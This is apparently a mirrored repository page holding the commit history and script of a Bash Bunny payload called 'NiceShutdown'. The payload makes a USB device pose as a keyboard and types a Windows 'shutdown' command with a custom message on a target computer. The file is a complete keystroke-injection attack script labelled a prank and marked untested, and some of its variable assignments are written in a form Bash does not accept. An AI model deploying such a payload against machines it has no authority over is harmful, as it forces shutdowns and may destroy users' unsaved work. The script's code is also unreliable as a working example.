mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Added files The payload.txt and the README.md have been added to the project! * Updated Readme The Readme file has been updatet. * Added development status The development status entry has been added to the list. * Added header. A header containing important information has been added. * Made a joke A joke has been made out of the Tested: No * Completed InfoBox and added Configuring The InfoBox is now a real box, and the Configuring section that is currently empty has been added. * Added DUCKY_LANG notice. In the configuration header, the sentence "You are required to change the DUCKY_LANG." has been added. * Various changes. Following changes have been made: Removed the "Tested joke" Setting the LED Setting the Attackmode Added configurationstuff Added Setting up Added the actual shutting down * Changed development status. The development status has been changed to "Actually quite done". * Changed development status * Added quality notice. The standard notice for Emilius123 payloads "Emilius123 payloads. Quality made in Notepad since 2019." has been added. * Changed category The category has been changed from "Prank" to "Prank and Troll". * Changed version In the files README.md and payload.txt, the Version label has changed to version 1.0 * Changed development status. The development status has been changed from "Actually quite done" to "1.0 done" * Changed Status at FINISH LED * Quality notice is now cursive The quality notice is now in a cursive font. * Added notice The notice "Please give feedback in the Forum topic." has been added and surrounded nicely. * Update README.md * Forum topic is now cursive * Added pull request The sentence "Please give Feedback in the Forum topic." has been changed to "Please give Feedback in the Forum Topic and check out the Pull request. * Update README.md * Update README.md * Added additional information. To the README and the payload, the Description, Attackmode and used Extensions have been added. * Removed lines * Removed empty lines
34 lines
990 B
Bash
34 lines
990 B
Bash
#!/bin/bash
|
|
############################################################
|
|
# Title: NiceShutdown #
|
|
# Description: Shuts down the target with the given message#
|
|
# Author: Emilius123 #
|
|
# Version: 1.0 #
|
|
# Category: Prank #
|
|
# Supported: Windows #
|
|
# Development status: 1.0 Done #
|
|
# Tested: No #
|
|
# Attackmode: HID - Human Interface Device #
|
|
# Extensions used: Run #
|
|
############################################################
|
|
|
|
LED SETUP
|
|
|
|
ATTACKMODE HID
|
|
|
|
#--// Configuring - You can change stuff here -- \\--#
|
|
ShutdownMessage = "this is truly amazing" # The message that is used for the Shutdown
|
|
ShutdownDelay = "10" # The delay between attack and actual shutdown
|
|
DUCKY_LANG de # Change to the target's exspected keyboard layout
|
|
|
|
#--// Setting up \\--#
|
|
ShutdownCommand="shutdown -s -t ${ShutdownDelay} -c \"${ShutdownMessage}\""
|
|
|
|
#--// Shutting down \\--#
|
|
LED ATTACK
|
|
|
|
RUN WIN "cmd /c ${ShutdownCommand}"
|
|
|
|
|
|
# We're done!
|
|
LED FINISH |